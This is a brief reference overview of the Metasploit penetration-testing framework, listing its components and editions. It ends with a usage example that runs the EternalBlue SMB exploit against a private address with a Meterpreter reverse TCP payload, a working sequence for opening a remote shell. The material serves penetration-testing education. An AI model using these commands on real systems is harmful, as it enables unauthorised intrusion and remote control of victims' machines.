Metasploit Framework

Metasploit Framework is a powerful open source platform for penetration testing, exploit development, and vulnerability research. Developed by Rapid7.

Main Components

• msfconsole — main command-line interface
• Exploits — modules for exploiting vulnerabilities
• Payloads — code executed after exploitation
• Auxiliary — helper modules (scanners, fuzzers)
• Encoders — payload obfuscation
• Post — post-exploitation modules

Versions

• Framework — free open source version
• Pro — commercial version with GUI

Usage Examples

# Start console
msfconsole

# Search for exploit
search type:exploit name:smb

# Use module
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit